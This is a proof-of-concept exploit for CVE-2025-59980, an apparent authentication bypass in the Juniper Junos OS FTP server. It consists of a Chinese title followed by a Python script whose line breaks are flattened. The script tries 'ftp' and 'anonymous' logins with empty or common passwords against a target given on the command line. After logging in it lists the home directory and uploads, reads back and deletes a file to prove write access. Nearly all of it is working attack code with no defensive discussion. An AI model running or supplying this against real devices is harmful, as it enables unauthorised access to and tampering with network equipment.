CVE-2025-59980 Juniper Junos OS FTP服务器认证绕过漏洞

# CVE-2025-59980 PoC - Juniper Junos OS FTP Authentication Bypass # This PoC demonstrates the authentication bypass vulnerability in Juniper Junos OS FTP server # When a user named "ftp" or "anonymous" is configured, login succeeds without password verification import ftplib import sys def exploit_ftp_bypass(target_host, target_port=21): """ Exploit CVE-2025-59980: FTP Authentication Bypass on Juniper Junos OS """ bypass_users = ["ftp", "anonymous"] # Try empty password or arbitrary password (traditional anonymous convention) bypass_passwords = ["", "[email protected]", "ftp", "guest"] for username in bypass_users: for password in bypass_passwords: try: print(f"[*] Trying username='{username}', password='{password}'") ftp = ftplib.FTP() ftp.connect(target_host, target_port, timeout=10) # Attempt login with bypass credentials response = ftp.login(username, password) print(f"[+] Bypass successful! Server response: {response}") # Demonstrate read-write access to home directory print(f"[*] Current directory: {ftp.pwd()}") # List files in home directory print("[*] Directory listing:") files = [] ftp.dir(files.append) for f in files: print(f" {f}") # Write test file to demonstrate write access test_filename = "poc_test_file.txt" test_content = b"CVE-2025-59980 PoC - Authentication Bypass Confirmed" from io import BytesIO ftp.storbinary(f"STOR {test_filename}", BytesIO(test_content)) print(f"[+] Successfully uploaded {test_filename} (write access confirmed)") # Read the uploaded file back to confirm round-trip from io import StringIO buffer = StringIO() ftp.retrlines(f"RETR {test_filename}", buffer.write) print(f"[+] File content read back: {buffer.getvalue().strip()}") # Cleanup ftp.delete(test_filename) ftp.quit() return True except ftplib.error_perm as e: print(f"[-] Login failed: {e}") continue except Exception as e: print(f"[-] Connection error: {e}") continue print("[-] All bypass attempts failed") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host> [target_port]") print(f"Example: {sys.argv[0]} 192.168.1.1 21") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 21 exploit_ftp_bypass(host, port)